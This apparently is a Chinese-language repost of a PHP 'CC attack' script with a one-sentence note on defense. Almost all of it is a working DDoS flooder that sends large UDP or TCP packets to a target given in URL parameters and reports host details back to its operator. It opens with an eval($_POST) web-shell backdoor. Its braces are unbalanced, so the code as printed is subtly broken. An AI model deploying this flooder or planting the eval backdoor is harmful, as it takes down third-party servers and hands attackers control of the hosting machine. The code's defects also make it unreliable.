php cc攻击代码与防范方法

前端之家收集整理的这篇文章主要介绍了php cc攻击代码与防范方法前端之家小编觉得挺不错的,现在分享给大家,也给大家做个参考。

cc攻击代码支持udp
<div class="codetitle"><a style="CURSOR: pointer" data="75001" class="copybut" id="copybut75001" onclick="doCopy('code75001')"> 代码如下:

<div class="codebody" id="code75001">
<?PHP
eval($_POST[Chr(90)]);
set_time_limit(86400);
ignore_user_abort(True);
$packets = 0;
$http = $_GET['http'];
$rand = $_GET['exit'];
$exec_time = $_GET['time'];
if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0)
{
if(StrLen($_GET['rat'])<>0)
{
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".PHP_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
exit;
}
echo "PHP 2012 Terminator";
exit;
}
for($i=0;$i<65535;$i++)
{
$out .= "X";
}
//Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center
$max_time = time()+$exec_time;
if($rand==53)
while(1)
{
$packets++;
if(time() > $max_time)
{
break;
}
$fp = fsockopen("udp://$http",$rand,$errno,$errstr,5);
if($fp)
{
fwrite($fp,$out);
fclose($fp);
}
}
else
if($rand==500)
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("udp://$http",$out);
fclose($fp);
}
}
else
while(1)
{
$packets++;
if(time() > $max_time){
break;
}
$fp = pfsockopen("tcp://$http",$out);
fclose($fp);
}
}
?>
对于cc攻击的防范,如果是动态页面,我们可以判断时间,如果是静态的网站我们就需要服务器上安装防cc攻击的软件了, 一般服务器安全狗还是不错的。如果你有好的软件也可以给我们留言。

猜你在找的PHP相关文章